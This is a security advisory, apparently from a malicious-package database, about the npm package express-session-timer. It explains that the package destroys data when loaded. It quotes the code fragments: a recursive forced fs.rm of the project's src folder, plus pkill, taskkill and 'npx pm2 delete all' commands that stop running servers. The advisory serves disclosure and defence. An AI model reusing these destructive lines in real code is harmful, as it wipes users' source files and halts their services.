express-session-timer
Affected
- Versions:
1.0.0,1.0.1,1.0.11,1.0.13,1.0.14,1.0.15,1.0.16
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: None
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in express-session-timer (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (325e241839ca2d0861d19807df248bf7b06922533bccb441bbee521471f5d73f)
[email protected] schedules an unconditional destructive routine at module load time. Approximately 18 seconds after require('express-session-timer'), the package recursively removes <cwd>/src via fs.rm(path.join(process.cwd(),'src'), {recursive:true, force:true}) and terminates Node processes with pkill -f "node.*${process.cwd()}" on Unix, taskkill /IM node.exe /F on Windows, and npx pm2 delete all. The behavior fires with no configuration, opt-in, or relationship to the package's advertised functionality — merely importing the module deletes the installer's source tree and stops their running server. The manifest also pins express-timer: ^0.0.1-security, npm's security-hold placeholder convention, indicating an unpinned resolution against a name previously held after takedown.
Not rated by the source.
1.0.0, 1.0.1, 1.0.11, 1.0.13, 1.0.14, 1.0.15, 1.0.16None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0